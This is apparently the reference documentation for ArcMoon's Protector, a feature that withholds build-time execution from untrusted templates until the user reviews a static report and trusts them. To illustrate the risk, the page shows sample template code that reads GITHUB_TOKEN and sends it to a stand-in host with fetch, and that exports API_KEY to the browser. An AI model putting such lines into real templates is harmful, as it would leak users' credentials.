ArcMoon 1.1.0

Start

Language

Reference

Nothing matches “”.

↑↓ move Enter open Esc close

Reference

Protector

Templates you didn't write never run until you trust them: the report, trust, and changes.

Why it exists

${ }$ code runs on your computer while you build, with your full access: it can read and write files, read your environment variables, run programs and send data anywhere. That is what makes build-time code useful, and it is also why a template you download could do harm:

a theme you downloaded
${
  const token = process.env.GITHUB_TOKEN;
  await fetch("https://stats.example.com/hit?t=" + token);   // your token, sent away
}$
[article][slot!][end]

The protector makes sure code you didn't write never runs until you have seen what it would do and said yes. Like an editor asking "Do you trust this folder?", it is a look before running.

Your files and templates

  • Your files: files inside the folder where you run arcm, outside node_modules. They always run.
  • Templates: everything else. They wait for your trust. A template is a whole npm package, or a whole folder outside your project.
pages/index.arcm
[import = Card: "../src/Card.arcm" !]                       # your file: runs
[import = Button: "fancy-ui/Button.arcm" !]                 # template "fancy-ui" (npm)
[import = Post: "../../downloads/blog-theme/Post.arcm" !]   # template "../downloads/blog-theme"

The report

The first time a page uses a template you haven't trusted, the build stops and shows what the template would do. ArcMoon reads the code to make this list; it runs none of it:

⚠ Template "../downloads/blog-theme" is not trusted. It would:
    import     node:fs (read/write), node:child_process
    risky      fs (write), child_process
    scripts    helper.js, rt.js
    fetch      stats.example.com, cdn.example.org
    env        GITHUB_TOKEN, API_KEY
    dynamic    eval() at …/blog-theme/Post.arcm:8:3
    runtime    1 runtime block, 1 [script] file
    exports    leaked (from process.env!)

  Review it, then run "arcmoon trust ../downloads/blog-theme".

  Nothing was run.

That report comes from this template. Each line of code shows up in a row:

downloads/blog-theme/Post.arcm
${
  import { readFileSync, writeFileSync } from "node:fs";   // import, risky: fs (write)
  import { exec } from "node:child_process";               // import, risky: child_process
  import { slug } from "./helper.js";                      // scripts: helper.js
  const token = process.env.GITHUB_TOKEN;                  // env
  const res = await fetch("https://stats.example.com/hit"); // fetch
  export const leaked = process.env.API_KEY;               // env, exports (from process.env!)
  eval("1 + 1");                                           // dynamic
}$
runtime ${ console.log(leaked); }$                          # runtime: 1 runtime block
[script = src: "./rt.js" !]                                 # scripts: rt.js, runtime: 1 [script] file
[article][slot!][end]

The cdn.example.org in fetch comes from helper.js: imported files are read too, and their findings join the same rows.

What each row means

  • import: npm packages and node: modules the code loads. node:fs is marked (read) or (read/write).
  • risky: the powerful ones, in red: running programs (child_process), writing files, network sockets (net, dgram, tls), vm, worker_threads, and ways around these checks.
  • scripts: local .js and .json files it uses, and every file those import in turn.
  • fetch: the hosts it contacts. If fetch is passed around instead of called, it says any host.
  • env: the environment variables it reads, like secrets and tokens. (all) when it uses process in a way that could read any of them.
  • remote: imports from URLs.
  • dynamic: code that can't be read ahead: eval, Function, import() with a computed name, process passed around. Each with its place in the file.
  • runtime: code that goes to your visitors' browsers, and the npm packages it ships.
  • exports: build-time values sent to the browser. (from process.env!) means a secret would end up in your public page.

When code hides what it does, the report says so instead of guessing. This npm template passes fetch and process around and builds an import name:

node_modules/fancy-ui/Button.arcm
${
  import { today } from "tiny-date";
  const f = fetch;
  const p = process;
  const mod = await import("./" + "x.js").catch(() => null);
}$
runtime ${ import confetti from "canvas-confetti"; }$
[button]Built ${ today() }$[end]
Template "fancy-ui" (⚠ not trusted):
  import     tiny-date
  fetch      any host (fetch used indirectly at …/fancy-ui/Button.arcm:3:13)
  env        (all)
  dynamic    process used indirectly at …/Button.arcm:4:13, import() with a computed name at …/Button.arcm:5:21
  runtime    1 runtime block, ships canvas-confetti to visitors

Trusting a template

Read the template's code, compare it with the report, and if you are happy, trust it:

arcm trust pages/index.arcm
✓ Trusted "../downloads/blog-theme" (sha256-93751b26245e…)
    import     node:fs (read/write), node:child_process
    …
Saved to arcmoon.trust.json. If a template changes, ArcMoon asks again.

Give it a page or a folder: it trusts every template those pages use. Trust is saved next to your config:

arcmoon.trust.json
{
  "version": 1,
  "templates": {
    "../downloads/blog-theme": {
      "hash": "sha256-93751b26245e5f08b17d3d2635991a2ebfbddb3af62d632d822af0b574fe8e26",
      "packages": {},
      "trustedAt": "2026-10-15T05:39:22.827Z"
    }
  }
}

When a template changes

The hash covers everything the template can run, so any change means you are asked again:

  • its .arcm files;
  • its local scripts, and every file they import, however deep;
  • the installed version of each package it imports.

Edit helper.js in the theme, or update tiny-date from 1.0.0 to 1.0.1, and the next build stops:

⚠ Template "fancy-ui" has changed since it was trusted. It would:
    import     tiny-date
    …

Review what changed, then trust it again with arcm trust.

Listing and removing trust

arcm trust --list
../downloads/blog-theme  (trusted 2026-10-15T05:39:22.827Z)

arcm untrust ../downloads/blog-theme
✓ Untrusted "../downloads/blog-theme"

Checking your own files

arcm audit shows the same report for your files too, without building. Handy before a review, or to see what a page reaches for:

pages/about.arcm
${
  import { readFileSync } from "node:fs";
  const site = process.env.SITE_NAME;
}$
runtime ${ console.log("hi"); }$
[p]About[end]
arcm audit pages/about.arcm

pages/about.arcm
  Your files (1):
    import     node:fs (read)
    env        SITE_NAME
    runtime    1 runtime block

  No templates from outside my-site.

In code and CI

Only you can trust. Builds that run without you, like the JavaScript API, CI or other tools, never ask: they stop with the report. From code, it is a ProtectorError:

import ArcMoon from "arcmoon";

try {
  await new ArcMoon({ filename: "pages/index.arcm" }).compile();
} catch (err) {
  console.log(err.name);   // "ProtectorError", with the report as its message
}

Commit arcmoon.trust.json with your project. Then CI and your team build with the same trust, and a template that changed stops their build too.

Tips

  • Read before you trust. The report tells you where to look; the code tells you what it does.
  • Look hard at risky, env and exports. A theme rarely needs to run programs, read your tokens, or send build-time values to the browser.
  • Treat dynamic and any host as questions. They mean the code doesn't say plainly what it does.
  • Lock package versions with your package manager's lock file, so a template doesn't change under you. If it does, ArcMoon asks again.